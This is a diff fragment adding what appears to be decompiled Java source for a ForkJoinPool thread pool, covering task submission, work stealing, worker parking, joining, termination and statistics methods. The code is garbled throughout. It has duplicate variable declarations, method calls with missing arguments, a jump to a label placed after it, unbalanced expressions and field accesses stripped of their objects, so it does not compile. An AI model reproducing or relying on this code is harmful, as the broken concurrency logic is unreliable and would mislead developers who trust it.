+          signalWork(ws, q);
+        return;
+      }
+      qlock = 0;
+    }
+    fullExternalPush(task);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private void fullExternalPush(ForkJoinTask<?> task)
+  {
+    int r = 0;
+    Submitter z = (Submitter)submitters.get();
+    for (;;) {
+      if (z == null) {
+        r += 1640531527; if ((U.compareAndSwapInt(this, INDEXSEED, r = indexSeed, r)) && (r != 0))
+        {
+          submitters.set(z = new Submitter(r));
+        }
+      } else if (r == 0) {
+        r = seed;
+        r ^= r << 13;
+        r ^= r >>> 17;
+        seed = (r ^= r << 5); }
+      int ps;
+      if ((ps = plock) < 0)
+        throw new RejectedExecutionException();
+      WorkQueue[] ws; int m; WorkQueue[] ws; if ((ps == 0) || ((ws = workQueues) == null) || ((m = ws.length - 1) < 0))
+      {
+        int p = parallelism;
+        int n = p > 1 ? p - 1 : 1;
+        n |= n >>> 1;n |= n >>> 2;n |= n >>> 4;
+        n |= n >>> 8;n |= n >>> 16;n = n + 1 << 1;
+        WorkQueue[] nws = ((ws = workQueues) == null) || (ws.length == 0) ? new WorkQueue[n] : null;
+        
+        if ((((ps = plock) & 0x2) != 0) || (!U.compareAndSwapInt(this, PLOCK, , ps)))
+        {
+          ps = acquirePlock(); }
+        if ((((ws = workQueues) == null) || (ws.length == 0)) && (nws != null))
+          workQueues = nws;
+        int nps = ps & 0x80000000 | ps + 2 & 0x7FFFFFFF;
+        if (!U.compareAndSwapInt(this, PLOCK, ps, nps))
+          releasePlock(nps); } else { int m;
+        int k;
+        WorkQueue q; if ((q = ws[(k = r & m & 0x7E)]) != null) {
+          if ((qlock == 0) && (U.compareAndSwapInt(q, QLOCK, 0, 1))) {
+            ForkJoinTask<?>[] a = array;
+            int s = top;
+            boolean submitted = false;
+            try {
+              if (((a != null) && (a.length > s + 1 - base)) || ((a = q.growArray()) != null))
+              {
+                int j = ((a.length - 1 & s) << ASHIFT) + ABASE;
+                U.putOrderedObject(a, j, task);
+                top = (s + 1);
+                submitted = true;
+              }
+            } finally {
+              qlock = 0;
+            }
+            if (submitted) {
+              signalWork(ws, q);
+              return;
+            }
+          }
+          r = 0;
+        }
+        else if (((ps = plock) & 0x2) == 0) {
+          q = new WorkQueue(this, null, -1, r);
+          poolIndex = ((short)k);
+          if ((((ps = plock) & 0x2) != 0) || (!U.compareAndSwapInt(this, PLOCK, , ps)))
+          {
+            ps = acquirePlock(); }
+          if (((ws = workQueues) != null) && (k < ws.length) && (ws[k] == null))
+            ws[k] = q;
+          int nps = ps & 0x80000000 | ps + 2 & 0x7FFFFFFF;
+          if (!U.compareAndSwapInt(this, PLOCK, ps, nps)) {
+            releasePlock(nps);
+          }
+        } else {
+          r = 0;
+        }
+      }
+    }
+  }
+  
+
+  final void incrementActiveCount()
+  {
+    long c;
+    
+    while (!U.compareAndSwapLong(this, CTL, c = ctl, c & 0xFFFFFFFFFFFF | (c & 0xFFFF000000000000) + 281474976710656L)) {}
+  }
+  
+
+
+
+  final void signalWork(WorkQueue[] ws, WorkQueue q)
+  {
+    long c;
+    
+
+    int u;
+    
+
+    while ((u = (int)((c = ctl) >>> 32)) < 0) {
+      int e;
+      if ((e = (int)c) <= 0) {
+        if ((short)u < 0)
+          tryAddWorker();
+      } else { int i;
+        WorkQueue w;
+        if ((ws != null) && (ws.length > (i = e & 0xFFFF)) && ((w = ws[i]) != null))
+        {
+
+          long nc = nextWait & 0x7FFFFFFF | u + 65536 << 32;
+          
+          int ne = e + 65536 & 0x7FFFFFFF;
+          if ((eventCount == (e | 0x80000000)) && (U.compareAndSwapLong(this, CTL, c, nc)))
+          {
+            eventCount = ne;
+            Thread p; if ((p = parker) != null) {
+              U.unpark(p);
+            }
+          } else {
+            if ((q != null) && (base >= top)) {
+              break;
+            }
+          }
+        }
+      }
+    }
+  }
+  
+  final void runWorker(WorkQueue w)
+  {
+    w.growArray();
+    for (int r = hint; scan(w, r) == 0; 
+        r ^= r << 5) { r ^= r << 13;r ^= r >>> 17;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private final int scan(WorkQueue w, int r)
+  {
+    long c = ctl;
+    WorkQueue[] ws; int m; if (((ws = workQueues) != null) && ((m = ws.length - 1) >= 0) && (w != null)) {
+      int j = m + m + 1;int ec = eventCount;
+      for (;;) { WorkQueue q;
+        int b; ForkJoinTask<?>[] a; if (((q = ws[(r - j & m)]) != null) && ((b = base) - top < 0) && ((a = array) != null))
+        {
+          long i = ((a.length - 1 & b) << ASHIFT) + ABASE;
+          ForkJoinTask<?> t; if ((t = (ForkJoinTask)U.getObjectVolatile(a, i)) == null)
+            break;
+          if (ec < 0) {
+            helpRelease(c, ws, w, q, b); break; }
+          if ((base != b) || (!U.compareAndSwapObject(a, i, t, null)))
+            break;
+          U.putOrderedInt(q, QBASE, b + 1);
+          if (b + 1 - top < 0)
+            signalWork(ws, q);
+          w.runTask(t); break;
+        }
+        
+
+
+        j--; if (j < 0) { int e;
+          if ((ec | (e = (int)c)) < 0)
+            return awaitWork(w, c, ec);
+          if (ctl != c) break;
+          long nc = ec | c - 281474976710656L & 0xFFFFFFFF00000000;
+          nextWait = e;
+          eventCount = (ec | 0x80000000);
+          if (!U.compareAndSwapLong(this, CTL, c, nc))
+            eventCount = ec;
+          break;
+        }
+      }
+    }
+    
+    return 0;
+  }
+  
+
+
+
+
+
+
+
+  private final int awaitWork(WorkQueue w, long c, int ec)
+  {
+    int stat;
+    
+
+
+
+
+
+    if (((stat = qlock) >= 0) && (eventCount == ec) && (ctl == c) && (!Thread.interrupted()))
+    {
+      int e = (int)c;
+      int u = (int)(c >>> 32);
+      int d = (u >> 16) + parallelism;
+      
+      if ((e < 0) || ((d <= 0) && (tryTerminate(false, false)))) {
+        stat = w.qlock = -1; } else { int ns;
+        if ((ns = nsteals) != 0)
+        {
+          nsteals = 0;
+          long sc; while (!U.compareAndSwapLong(this, STEALCOUNT, sc = stealCount, sc + ns)) {}
+        }
+        else
+        {
+          long pc = (d > 0) || (ec != (e | 0x80000000)) ? 0L : nextWait & 0x7FFFFFFF | u + 65536 << 32;
+          long deadline;
+          long deadline;
+          long parkTime; if (pc != 0L) {
+            int dc = -(short)(int)(c >>> 32);
+            long parkTime = dc < 0 ? 200000000L : (dc + 1) * 2000000000L;
+            
+            deadline = System.nanoTime() + parkTime - 2000000L;
+          }
+          else {
+            parkTime = deadline = 0L; }
+          if ((eventCount == ec) && (ctl == c)) {
+            Thread wt = Thread.currentThread();
+            U.putObject(wt, PARKBLOCKER, this);
+            parker = wt;
+            if ((eventCount == ec) && (ctl == c))
+              U.park(false, parkTime);
+            parker = null;
+            U.putObject(wt, PARKBLOCKER, null);
+            if ((parkTime != 0L) && (ctl == c) && (deadline - System.nanoTime() <= 0L) && (U.compareAndSwapLong(this, CTL, c, pc)))
+            {
+
+              stat = w.qlock = -1; }
+          }
+        }
+      } }
+    return stat;
+  }
+  
+
+  private final void helpRelease(long c, WorkQueue[] ws, WorkQueue w, WorkQueue q, int b)
+  {
+    int e;
+    
+    int i;
+    
+    WorkQueue v;
+    
+    if ((w != null) && (eventCount < 0) && ((e = (int)c) > 0) && (ws != null) && (ws.length > (i = e & 0xFFFF)) && ((v = ws[i]) != null) && (ctl == c))
+    {
+
+      long nc = nextWait & 0x7FFFFFFF | (int)(c >>> 32) + 65536 << 32;
+      
+      int ne = e + 65536 & 0x7FFFFFFF;
+      if ((q != null) && (base == b) && (eventCount < 0) && (eventCount == (e | 0x80000000)) && (U.compareAndSwapLong(this, CTL, c, nc)))
+      {
+
+        eventCount = ne;
+        Thread p; if ((p = parker) != null) {
+          U.unpark(p);
+        }
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private int tryHelpStealer(WorkQueue joiner, ForkJoinTask<?> task)
+  {
+    int stat = 0;int steps = 0;
+    if ((task != null) && (joiner != null) && (base - top >= 0)) {
+      break label107;
+      label25:
+      ForkJoinTask<?> subtask = task;
+      WorkQueue j = joiner;
+      label107:
+      label471: label472: label474: for (;;) { int s; if ((s = status) < 0) {
+          stat = s;
+          return stat; }
+        WorkQueue[] ws;
+        int m; if (((ws = workQueues) == null) || ((m = ws.length - 1) <= 0)) return stat;
+        int h;
+        WorkQueue v; if (((v = ws[(h = (hint | 0x1) & m)]) == null) || (currentSteal != subtask))
+        {
+          int origin = h;
+          if ((((h = h + 2 & m) & 0xF) == 1) && ((status < 0) || (currentJoin != subtask))) {
+            break label25;
+          }
+          if (((v = ws[h]) != null) && (currentSteal == subtask))
+          {
+            hint = h;
+          }
+          else {
+            if (h != origin) break;
+            return stat;
+          }
+        }
+        for (;;)
+        {
+          if (status < 0) break label472;
+          int b;
+          ForkJoinTask[] a; if (((b = base) - top < 0) && ((a = array) != null)) {
+            int i = ((a.length - 1 & b) << ASHIFT) + ABASE;
+            ForkJoinTask<?> t = (ForkJoinTask)U.getObjectVolatile(a, i);
+            
+            if ((status < 0) || (currentJoin != subtask) || (currentSteal != subtask)) {
+              break;
+            }
+            stat = 1;
+            if (base == b) {
+              if (t == null)
+                return stat;
+              if (U.compareAndSwapObject(a, i, t, null)) {
+                U.putOrderedInt(v, QBASE, b + 1);
+                ForkJoinTask<?> ps = currentSteal;
+                int jt = top;
+                do {
+                  currentSteal = t;
+                  t.doExec();
+                }
+                while ((status >= 0) && (top != jt) && ((t = joiner.pop()) != null));
+                
+                currentSteal = ps;
+                return stat;
+              }
+            }
+            break label471;
+          }
+          ForkJoinTask<?> next = currentJoin;
+          if ((status < 0) || (currentJoin != subtask) || (currentSteal != subtask)) {
+            break;
+          }
+          if (next == null) return stat; steps++; if (steps == 64) {
+            return stat;
+          }
+          subtask = next;
+          j = v;
+          
+          break label474;
+        }
+        
+        break label25;
+      }
+    }
+    return stat;
+  }
+  
+
+
+
+
+
+
+  private int helpComplete(WorkQueue joiner, CountedCompleter<?> task)
+  {
+    int s = 0;
+    WorkQueue[] ws; int m; if (((ws = workQueues) != null) && ((m = ws.length - 1) >= 0) && (joiner != null) && (task != null))
+    {
+      int j = poolIndex;
+      int scans = m + m + 1;
+      long c = 0L;
+      int k = scans;
+      for (; 
+          (s = status) >= 0; j += 2)
+      {
+
+
+        if (joiner.internalPopAndExecCC(task)) {
+          k = scans;
+        } else { if ((s = status) < 0) break;
+          WorkQueue q;
+          if (((q = ws[(j & m)]) != null) && (q.pollAndExecCC(task))) {
+            k = scans;
+          } else { k--; if (k < 0) {
+              if (c == (c = ctl))
+                break;
+              k = scans;
+            }
+          }
+        } } }
+    return s;
+  }
+  
+
+
+
+
+
+
+
+
+  final boolean tryCompensate(long c)
+  {
+    WorkQueue[] ws = workQueues;
+    int pc = parallelism;int e = (int)c;
+    int m; if ((ws != null) && ((m = ws.length - 1) >= 0) && (e >= 0) && (ctl == c)) {
+      WorkQueue w = ws[(e & m)];
+      if ((e != 0) && (w != null))
+      {
+        long nc = nextWait & 0x7FFFFFFF | c & 0xFFFFFFFF00000000;
+        
+        int ne = e + 65536 & 0x7FFFFFFF;
+        if ((eventCount == (e | 0x80000000)) && (U.compareAndSwapLong(this, CTL, c, nc)))
+        {
+          eventCount = ne;
+          Thread p; if ((p = parker) != null)
+            U.unpark(p);
+          return true;
+        }
+      } else { int tc;
+        if (((tc = (short)(int)(c >>> 32)) >= 0) && ((int)(c >> 48) + pc > 1))
+        {
+          long nc = c - 281474976710656L & 0xFFFF000000000000 | c & 0xFFFFFFFFFFFF;
+          if (U.compareAndSwapLong(this, CTL, c, nc)) {
+            return true;
+          }
+        } else if (tc + pc < 32767) {
+          long nc = c + 4294967296L & 0xFFFF00000000 | c & 0xFFFF0000FFFFFFFF;
+          if (U.compareAndSwapLong(this, CTL, c, nc))
+          {
+            Throwable ex = null;
+            ForkJoinWorkerThread wt = null;
+            try { ForkJoinWorkerThreadFactory fac;
+              if (((fac = factory) != null) && ((wt = fac.newThread(this)) != null))
+              {
+                wt.start();
+                return true;
+              }
+            } catch (Throwable rex) {
+              ex = rex;
+            }
+            deregisterWorker(wt, ex);
+          }
+        }
+      } }
+    return false;
+  }
+  
+
+
+
+
+
+
+  final int awaitJoin(WorkQueue joiner, ForkJoinTask<?> task)
+  {
+    int s = 0;
+    if ((task != null) && ((s = status) >= 0) && (joiner != null)) {
+      ForkJoinTask<?> prevJoin = currentJoin;
+      currentJoin = task;
+      while ((joiner.tryRemoveAndExec(task)) && ((s = status) >= 0)) {}
+      
+      if ((s >= 0) && ((task instanceof CountedCompleter)))
+        s = helpComplete(joiner, (CountedCompleter)task);
+      long cc = 0L;
+      while ((s >= 0) && ((s = status) >= 0)) {
+        if (((s = tryHelpStealer(joiner, task)) == 0) && ((s = status) >= 0))
+        {
+          if (!tryCompensate(cc)) {
+            cc = ctl;
+          } else {
+            if ((task.trySetSignal()) && ((s = status) >= 0)) {
+              synchronized (task) {
+                if (status >= 0) {
+                  try {
+                    task.wait();
+
+                  }
+                  catch (InterruptedException ie) {}
+                } else
+                  task.notifyAll();
+              }
+            }
+            long c;
+            while (!U.compareAndSwapLong(this, CTL, c = ctl, c & 0xFFFFFFFFFFFF | (c & 0xFFFF000000000000) + 281474976710656L)) {}
+          }
+        }
+      }
+      
+
+
+      currentJoin = prevJoin;
+    }
+    return s;
+  }
+  
+
+
+
+
+  final void helpJoinOnce(WorkQueue joiner, ForkJoinTask<?> task)
+  {
+    int s;
+    
+
+
+    if ((joiner != null) && (task != null) && ((s = status) >= 0)) {
+      ForkJoinTask<?> prevJoin = currentJoin;
+      currentJoin = task;
+      while ((joiner.tryRemoveAndExec(task)) && ((s = status) >= 0)) {}
+      
+      if (s >= 0) {
+        if ((task instanceof CountedCompleter))
+          helpComplete(joiner, (CountedCompleter)task);
+        while ((status >= 0) && (tryHelpStealer(joiner, task) > 0)) {}
+      }
+      
+      currentJoin = prevJoin;
+    }
+  }
+  
+
+
+
+
+  private WorkQueue findNonEmptyStealQueue()
+  {
+    int r = ThreadLocalRandom.current().nextInt();
+    for (;;) {
+      int ps = plock;
+      WorkQueue[] ws; int m; if (((ws = workQueues) != null) && ((m = ws.length - 1) >= 0)) {
+        for (int j = m + 1 << 2; j >= 0; j--) { WorkQueue q;
+          if (((q = ws[((r - j << 1 | 0x1) & m)]) != null) && (base - top < 0))
+          {
+            return q; }
+        }
+      }
+      if (plock == ps) {
+        return null;
+      }
+    }
+  }
+  
+
+
+
+
+  final void helpQuiescePool(WorkQueue w)
+  {
+    ForkJoinTask<?> ps = currentSteal;
+    boolean active = true;
+    for (;;) { ForkJoinTask<?> t;
+      if ((t = w.nextLocalTask()) != null) {
+        t.doExec(); } else { WorkQueue q;
+        if ((q = findNonEmptyStealQueue()) != null) {
+          if (!active) {
+            active = true;
+            long c; while (!U.compareAndSwapLong(this, CTL, c = ctl, c & 0xFFFFFFFFFFFF | (c & 0xFFFF000000000000) + 281474976710656L)) {}
+          }
+          
+          int b;
+          
+          if (((b = base) - top < 0) && ((t = q.pollAt(b)) != null)) {
+            (w.currentSteal = t).doExec();
+            currentSteal = ps;
+          }
+        }
+        else if (active) { long c;
+          long nc = (c = ctl) & 0xFFFFFFFFFFFF | (c & 0xFFFF000000000000) - 281474976710656L;
+          if ((int)(nc >> 48) + parallelism == 0)
+            break;
+          if (U.compareAndSwapLong(this, CTL, c, nc))
+            active = false;
+        } else { long c;
+          if (((int)((c = ctl) >> 48) + parallelism <= 0) && (U.compareAndSwapLong(this, CTL, c, c & 0xFFFFFFFFFFFF | (c & 0xFFFF000000000000) + 281474976710656L))) {
+            break;
+          }
+        }
+      }
+    }
+  }
+  
+
+
+  final ForkJoinTask<?> nextTaskFor(WorkQueue w)
+  {
+    for (;;)
+    {
+      ForkJoinTask<?> t;
+      
+      if ((t = w.nextLocalTask()) != null)
+        return t;
+      WorkQueue q; if ((q = findNonEmptyStealQueue()) == null)
+        return null;
+      int b; if (((b = base) - top < 0) && ((t = q.pollAt(b)) != null)) {
+        return t;
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static int getSurplusQueuedTaskCount()
+  {
+    Thread t;
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+    if (((t = Thread.currentThread()) instanceof ForkJoinWorkerThread)) { ForkJoinWorkerThread wt;
+      ForkJoinPool pool; int p = pool).parallelism;
+      WorkQueue q; int n = workQueue).top - base;
+      int a = (int)(ctl >> 48) + p;
+      return n - (a > p >>>= 1 ? 4 : a > p >>>= 1 ? 2 : a > p >>>= 1 ? 1 : a > p >>>= 1 ? 0 : 8);
+    }
+    
+
+
+
+    return 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private boolean tryTerminate(boolean now, boolean enable)
+  {
+    if (this == common)
+      return false;
+    int ps; if ((ps = plock) >= 0) {
+      if (!enable)
+        return false;
+      if (((ps & 0x2) != 0) || (!U.compareAndSwapInt(this, PLOCK, , ps)))
+      {
+        ps = acquirePlock(); }
+      int nps = ps + 2 & 0x7FFFFFFF | 0x80000000;
+      if (!U.compareAndSwapInt(this, PLOCK, ps, nps))
+        releasePlock(nps);
+    }
+    for (;;) { long c;
+      if (((c = ctl) & 0x80000000) != 0L) {
+        if ((short)(int)(c >>> 32) + parallelism <= 0) {
+          synchronized (this) {
+            notifyAll();
+          }
+        }
+        return true;
+      }
+      if (!now)
+      {
+        if ((int)(c >> 48) + parallelism > 0)
+          return false;
+        WorkQueue[] ws; if ((ws = workQueues) != null) {
+          for (int i = 0; i < ws.length; i++) { WorkQueue w;
+            if (((w = ws[i]) != null) && ((!w.isEmpty()) || (((i & 0x1) != 0) && (eventCount >= 0))))
+            {
+
+              signalWork(ws, w);
+              return false;
+            }
+          }
+        }
+      }
+      if (U.compareAndSwapLong(this, CTL, c, c | 0x80000000)) {
+        for (int pass = 0; pass < 3; pass++) {
+          WorkQueue[] ws;
+          if ((ws = workQueues) != null) {
+            int n = ws.length;
+            for (int i = 0; i < n; i++) { WorkQueue w;
+              if ((w = ws[i]) != null) {
+                qlock = -1;
+                if (pass > 0) {
+                  w.cancelAll();
+                  Thread wt; if ((pass > 1) && ((wt = owner) != null)) {
+                    if (!wt.isInterrupted()) {
+                      try {
+                        wt.interrupt();
+                      }
+                      catch (Throwable ignore) {}
+                    }
+                    U.unpark(wt);
+                  }
+                }
+              } }
+            long cc;
+            int e;
+            int i;
+            WorkQueue w;
+            while (((e = (int)(cc = ctl) & 0x7FFFFFFF) != 0) && ((i = e & 0xFFFF) < n) && (i >= 0) && ((w = ws[i]) != null))
+            {
+              long nc = nextWait & 0x7FFFFFFF | cc + 281474976710656L & 0xFFFF000000000000 | cc & 0xFFFF80000000;
+              
+
+              if ((eventCount == (e | 0x80000000)) && (U.compareAndSwapLong(this, CTL, cc, nc)))
+              {
+                eventCount = (e + 65536 & 0x7FFFFFFF);
+                qlock = -1;
+                Thread p; if ((p = parker) != null) {
+                  U.unpark(p);
+                }
+              }
+            }
+          }
+        }
+      }
+    }
+  }
+  
+
+  static WorkQueue commonSubmitterQueue()
+  {
+    Submitter z;
+    ForkJoinPool p;
+    WorkQueue[] ws;
+    int m;
+    return ((z = (Submitter)submitters.get()) != null) && ((p = common) != null) && ((ws = workQueues) != null) && ((m = ws.length - 1) >= 0) ? ws[(m & seed & 0x7E)] : null;
+  }
+  
+
+
+
+
+
+
+
+  final boolean tryExternalUnpush(ForkJoinTask<?> task)
+  {
+    Submitter z = (Submitter)submitters.get();
+    WorkQueue[] ws = workQueues;
+    boolean popped = false;
+    int m; WorkQueue joiner; int s; ForkJoinTask<?>[] a; if ((z != null) && (ws != null) && ((m = ws.length - 1) >= 0) && ((joiner = ws[(seed & m & 0x7E)]) != null) && (base != (s = top)) && ((a = array) != null))
+    {
+
+
+      long j = ((a.length - 1 & s - 1) << ASHIFT) + ABASE;
+      if ((U.getObject(a, j) == task) && (U.compareAndSwapInt(joiner, QLOCK, 0, 1)))
+      {
+        if ((top == s) && (array == a) && (U.compareAndSwapObject(a, j, task, null)))
+        {
+          top = (s - 1);
+          popped = true;
+        }
+        qlock = 0;
+      }
+    }
+    return popped;
+  }
+  
+  final int externalHelpComplete(CountedCompleter<?> task)
+  {
+    Submitter z = (Submitter)submitters.get();
+    WorkQueue[] ws = workQueues;
+    int s = 0;
+    int m; int j; WorkQueue joiner; if ((z != null) && (ws != null) && ((m = ws.length - 1) >= 0) && ((joiner = ws[((j = seed) & m & 0x7E)]) != null) && (task != null))
+    {
+      int scans = m + m + 1;
+      long c = 0L;
+      j |= 0x1;
+      int k = scans;
+      for (; 
+          (s = status) >= 0; j += 2)
+      {
+
+
+        if (joiner.externalPopAndExecCC(task)) {
+          k = scans;
+        } else { if ((s = status) < 0) break;
+          WorkQueue q;
+          if (((q = ws[(j & m)]) != null) && (q.pollAndExecCC(task))) {
+            k = scans;
+          } else { k--; if (k < 0) {
+              if (c == (c = ctl))
+                break;
+              k = scans;
+            }
+          }
+        } } }
+    return s;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public ForkJoinPool()
+  {
+    this(Math.min(32767, Runtime.getRuntime().availableProcessors()), defaultForkJoinWorkerThreadFactory, null, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public ForkJoinPool(int parallelism)
+  {
+    this(parallelism, defaultForkJoinWorkerThreadFactory, null, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public ForkJoinPool(int parallelism, ForkJoinWorkerThreadFactory factory, Thread.UncaughtExceptionHandler handler, boolean asyncMode)
+  {
+    this(checkParallelism(parallelism), checkFactory(factory), handler, asyncMode ? 1 : 0, "ForkJoinPool-" + nextPoolId() + "-worker-");
+    
+
+
+
+    checkPermission();
+  }
+  
+  private static int checkParallelism(int parallelism) {
+    if ((parallelism <= 0) || (parallelism > 32767))
+      throw new IllegalArgumentException();
+    return parallelism;
+  }
+  
+  private static ForkJoinWorkerThreadFactory checkFactory(ForkJoinWorkerThreadFactory factory)
+  {
+    if (factory == null)
+      throw new NullPointerException();
+    return factory;
+  }
+  
+
+
+
+
+
+
+
+
+  private ForkJoinPool(int parallelism, ForkJoinWorkerThreadFactory factory, Thread.UncaughtExceptionHandler handler, int mode, String workerNamePrefix)
+  {
+    this.workerNamePrefix = workerNamePrefix;
+    this.factory = factory;
+    ueh = handler;
+    this.mode = ((short)mode);
+    this.parallelism = ((short)parallelism);
+    long np = -parallelism;
+    ctl = (np << 48 & 0xFFFF000000000000 | np << 32 & 0xFFFF00000000);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static ForkJoinPool commonPool()
+  {
+    return common;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public <T> T invoke(ForkJoinTask<T> task)
+  {
+    if (task == null)
+      throw new NullPointerException();
+    externalPush(task);
+    return task.join();
+  }
+  
+
+
+
+
+
+
+
+  public void execute(ForkJoinTask<?> task)
+  {
+    if (task == null)
+      throw new NullPointerException();
+    externalPush(task);
+  }
+  
+
+
+
+
+
+
+  public void execute(Runnable task)
+  {
+    if (task == null)
+      throw new NullPointerException();
+    ForkJoinTask<?> job;
+    ForkJoinTask<?> job; if ((task instanceof ForkJoinTask)) {
+      job = (ForkJoinTask)task;
+    } else
+      job = new ForkJoinTask.RunnableExecuteAction(task);
+    externalPush(job);
+  }
+  
+
+
+
+
+
+
+
+
+  public <T> ForkJoinTask<T> submit(ForkJoinTask<T> task)
+  {
+    if (task == null)
+      throw new NullPointerException();
+    externalPush(task);
+    return task;
+  }
+  
+
+
+
+
+  public <T> ForkJoinTask<T> submit(Callable<T> task)
+  {
+    ForkJoinTask<T> job = new ForkJoinTask.AdaptedCallable(task);
+    externalPush(job);
+    return job;
+  }
+  
+
+
+
+
+  public <T> ForkJoinTask<T> submit(Runnable task, T result)
+  {
+    ForkJoinTask<T> job = new ForkJoinTask.AdaptedRunnable(task, result);
+    externalPush(job);
+    return job;
+  }
+  
+
+
+
+
+  public ForkJoinTask<?> submit(Runnable task)
+  {
+    if (task == null)
+      throw new NullPointerException();
+    ForkJoinTask<?> job;
+    ForkJoinTask<?> job; if ((task instanceof ForkJoinTask)) {
+      job = (ForkJoinTask)task;
+    } else
+      job = new ForkJoinTask.AdaptedRunnableAction(task);
+    externalPush(job);
+    return job;
+  }
+  
+
+
+
+
+
+
+  public <T> List<Future<T>> invokeAll(Collection<? extends Callable<T>> tasks)
+  {
+    ArrayList<Future<T>> futures = new ArrayList(tasks.size());
+    
+    boolean done = false;
+    try {
+      for (Callable<T> t : tasks) {
+        ForkJoinTask<T> f = new ForkJoinTask.AdaptedCallable(t);
+        futures.add(f);
+        externalPush(f);
+      }
+      int i = 0; for (int size = futures.size(); i < size; i++)
+        ((ForkJoinTask)futures.get(i)).quietlyJoin();
+      done = true;
+      int i; int size; return futures;
+    } finally {
+      if (!done) {
+        int i = 0; for (int size = futures.size(); i < size; i++) {
+          ((Future)futures.get(i)).cancel(false);
+        }
+      }
+    }
+  }
+  
+
+
+  public ForkJoinWorkerThreadFactory getFactory()
+  {
+    return factory;
+  }
+  
+
+
+
+
+
+  public Thread.UncaughtExceptionHandler getUncaughtExceptionHandler()
+  {
+    return ueh;
+  }
+  
+
+
+  public int getParallelism()
+  {
+    int par;
+    
+
+    return (par = parallelism) > 0 ? par : 1;
+  }
+  
+
+
+
+
+
+  public static int getCommonPoolParallelism()
+  {
+    return commonParallelism;
+  }
+  
+
+
+
+
+
+
+
+  public int getPoolSize()
+  {
+    return parallelism + (short)(int)(ctl >>> 32);
+  }
+  
+
+
+
+
+
+  public boolean getAsyncMode()
+  {
+    return mode == 1;
+  }
+  
+
+
+
+
+
+
+
+  public int getRunningThreadCount()
+  {
+    int rc = 0;
+    WorkQueue[] ws;
+    if ((ws = workQueues) != null) {
+      for (int i = 1; i < ws.length; i += 2) { WorkQueue w;
+        if (((w = ws[i]) != null) && (w.isApparentlyUnblocked()))
+          rc++;
+      }
+    }
+    return rc;
+  }
+  
+
+
+
+
+
+
+  public int getActiveThreadCount()
+  {
+    int r = parallelism + (int)(ctl >> 48);
+    return r <= 0 ? 0 : r;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public boolean isQuiescent()
+  {
+    return parallelism + (int)(ctl >> 48) <= 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public long getStealCount()
+  {
+    long count = stealCount;
+    WorkQueue[] ws;
+    if ((ws = workQueues) != null) {
+      for (int i = 1; i < ws.length; i += 2) { WorkQueue w;
+        if ((w = ws[i]) != null)
+          count += nsteals;
+      }
+    }
+    return count;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public long getQueuedTaskCount()
+  {
+    long count = 0L;
+    WorkQueue[] ws;
+    if ((ws = workQueues) != null) {
+      for (int i = 1; i < ws.length; i += 2) { WorkQueue w;
+        if ((w = ws[i]) != null)
+          count += w.queueSize();
+      }
+    }
+    return count;
+  }
+  
+
+
+
+
+
+
+  public int getQueuedSubmissionCount()
+  {
+    int count = 0;
+    WorkQueue[] ws;
+    if ((ws = workQueues) != null) {
+      for (int i = 0; i < ws.length; i += 2) { WorkQueue w;
+        if ((w = ws[i]) != null)
+          count += w.queueSize();
+      }
+    }
+    return count;
+  }
+  
+
+
+
+  public boolean hasQueuedSubmissions()
+  {
+    WorkQueue[] ws;
+    
+
+    if ((ws = workQueues) != null) {
+      for (int i = 0; i < ws.length; i += 2) { WorkQueue w;
+        if (((w = ws[i]) != null) && (!w.isEmpty()))
+          return true;
+      }
+    }
+    return false;
+  }
+  
+
+
+
+  protected ForkJoinTask<?> pollSubmission()
+  {
+    WorkQueue[] ws;
+    
+
+
+    if ((ws = workQueues) != null) {
+      for (int i = 0; i < ws.length; i += 2) { WorkQueue w;
+        ForkJoinTask<?> t; if (((w = ws[i]) != null) && ((t = w.poll()) != null))
+          return t;
+      }
+    }
+    return null;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected int drainTasksTo(Collection<? super ForkJoinTask<?>> c)
+  {
+    int count = 0;
+    WorkQueue[] ws;
+    if ((ws = workQueues) != null) {
+      for (int i = 0; i < ws.length; i++) { WorkQueue w;
+        if ((w = ws[i]) != null) { ForkJoinTask<?> t;
+          while ((t = w.poll()) != null) {
+            c.add(t);
+            count++;
+          }
+        }
+      }
+    }
+    return count;
+  }
+  
+
+
+
+
+
+
+
+  public String toString()
+  {
+    long qt = 0L;long qs = 0L;int rc = 0;
+    long st = stealCount;
+    long c = ctl;
+    WorkQueue[] ws;
+    if ((ws = workQueues) != null) {
+      for (int i = 0; i < ws.length; i++) { WorkQueue w;
+        if ((w = ws[i]) != null) {
+          int size = w.queueSize();
+          if ((i & 0x1) == 0) {
+            qs += size;
+          } else {
+            qt += size;
+            st += nsteals;
+            if (w.isApparentlyUnblocked())
+              rc++;
+          }
+        }
+      }
+    }
+    int pc = parallelism;
+    int tc = pc + (short)(int)(c >>> 32);
+    int ac = pc + (int)(c >> 48);
+    if (ac < 0)
+      ac = 0;
+    String level;
+    String level; if ((c & 0x80000000) != 0L) {
+      level = tc == 0 ? "Terminated" : "Terminating";
+    } else
+      level = plock < 0 ? "Shutting down" : "Running";
+    return super.toString() + "[" + level + ", parallelism = " + pc + ", size = " + tc + ", active = " + ac + ", running = " + rc + ", steals = " + st + ", tasks = " + qt + ", submissions = " + qs + "]";
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void shutdown()
+  {
+    checkPermission();
+    tryTerminate(false, true);
+  }
+  
+
+
+
+
+
+
+
+
+
+
